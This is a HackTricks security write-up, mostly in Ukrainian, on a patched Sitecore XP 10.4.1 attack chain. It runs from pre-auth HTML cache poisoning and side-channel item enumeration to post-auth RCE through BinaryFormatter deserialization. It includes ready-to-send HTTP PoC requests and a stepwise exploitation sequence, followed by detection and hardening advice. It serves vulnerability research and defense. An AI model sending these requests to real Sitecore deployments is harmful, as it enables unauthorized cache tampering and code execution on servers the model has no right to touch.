Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
На цій сторінці підсумовано практичний ланцюг атаки проти Sitecore XP 10.4.1, який переходить від pre‑auth XAML handler до HTML cache poisoning і, через authenticated UI flow, до RCE через BinaryFormatter deserialization. Техніки узагальнюються для подібних версій/компонентів Sitecore і надають конкретні примітиви для тестування, виявлення та підвищення захищеності.
- Протестований продукт: Sitecore XP 10.4.1 rev. 011628
- Виправлено в: KB1003667, KB1003734 (червень/липень 2025)
Див. також:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Точка входу — pre‑auth XAML handler, зареєстрований у web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Доступно через:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Дерево контролів включає AjaxScriptManager, який при запитах подій читає поля, контрольовані атакуючим, і рефлексивно викликає методи у цільових контролях:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Ключове спостереження: сторінка XAML містить екземпляр XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl успадковується від Sitecore.Web.UI.WebControl (клас Sitecore), який передає allow‑list ReflectionUtil.Filter (Sitecore.*), розблоковуючи методи у Sitecore WebControl.
Магічний метод для poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Оскільки ми можемо націлитися на xmlcontrol:GlobalHeader і викликати методи Sitecore.Web.UI.WebControl за ім'ям, ми отримуємо pre‑auth довільний примітив запису HtmlCache.
PoC запит (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Примітки:
- __SOURCE — це clientID xmlcontrol:GlobalHeader у Sitecore.Shell.Xaml.WebControl (зазвичай стабільний, наприклад ctl00_ctl00_ctl05_ctl03, оскільки він походить зі статичного XAML).
- __PARAMETERS має формат Method("arg1","arg2").
Що отруїти: конструкція ключа кешу
Типова конструкція ключа HtmlCache, що використовується контролами Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Приклад targeted poisoning для відомого sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Перерахування кешованих елементів та вимірів “vary by”
Якщо ItemService (неправильно) відкрито для анонімного доступу, ви можете перерахувати кешовані компоненти, щоб отримати точні ключі.
Швидка перевірка:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Список кешованих елементів і flags:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Шукайте поля, такі як Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Імена пристроїв можна перерахувати за допомогою:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Навіть коли ItemService діє від імені обмеженого акаунта (наприклад, ServicesAPI) і повертає порожній Results array, TotalCount може й досі відображати pre‑ACL Solr hits. Ви можете brute‑force item groups/ids із wildcards і спостерігати, як TotalCount збігається, щоб відобразити внутрішній вміст і пристрої:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink у convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Доступно через крок pipeline convertToRuntimeHtml — ConvertWebControls, який шукає елемент з id {iframeId}_inner, base64 декодує + десеріалізує його, а потім вставляє отриманий рядок у HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Тригер (аутентифікований, права Content Editor). Діалог FixHtml викликає convertToRuntimeHtml. Повний сценарій без кліків UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Повний ланцюжок
- Pre‑auth зловмисник отруює HtmlCache довільним HTML, рефлексивно викликаючи WebControl.AddToCache через XAML AjaxScriptManager.
- Отруєний HTML подає JavaScript, який підштовхує автентифікованого користувача Content Editor пройти через процес FixHtml.
- Сторінка FixHtml запускає convertToRuntimeHtml → ConvertWebControls, які десеріалізують керований зловмисником base64 через BinaryFormatter → RCE під ідентифікацією app pool додатку Sitecore.
Виявлення
- Pre‑auth XAML: запити до
/-/xaml/Sitecore.Shell.Xaml.WebControl
з__ISEVENT=1
, підозрілим__SOURCE
та__PARAMETERS=AddToCache(...)
. - ItemService probing: сплески запитів з шаблоном до
/sitecore/api/ssc
, великийTotalCount
з порожнімResults
. - Спроби десеріалізації:
EditHtml.aspx
з подальшимFixHtml.aspx?hdl=...
та незвично великий base64 у полях HTML.
Зміцнення захисту
- Застосуйте патчі Sitecore KB1003667 і KB1003734; закрийте/відключіть pre‑auth XAML handlers або додайте сувору валідацію; моніторьте і лімітуйте швидкість звернень до
/-/xaml/
. - Видаліть/замініть BinaryFormatter; обмежте доступ до convertToRuntimeHtml або застосуйте сувору серверну валідацію потоків редагування HTML.
- Заблокуйте
/sitecore/api/ssc
для loopback або автентифікованих ролей; уникайте патернів impersonation, які leak побічні канали, засновані наTotalCount
. - Вимагайте MFA/принцип найменшого привілею для користувачів Content Editor; перегляньте CSP, щоб зменшити вплив JS steering від cache poisoning.
Посилання
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.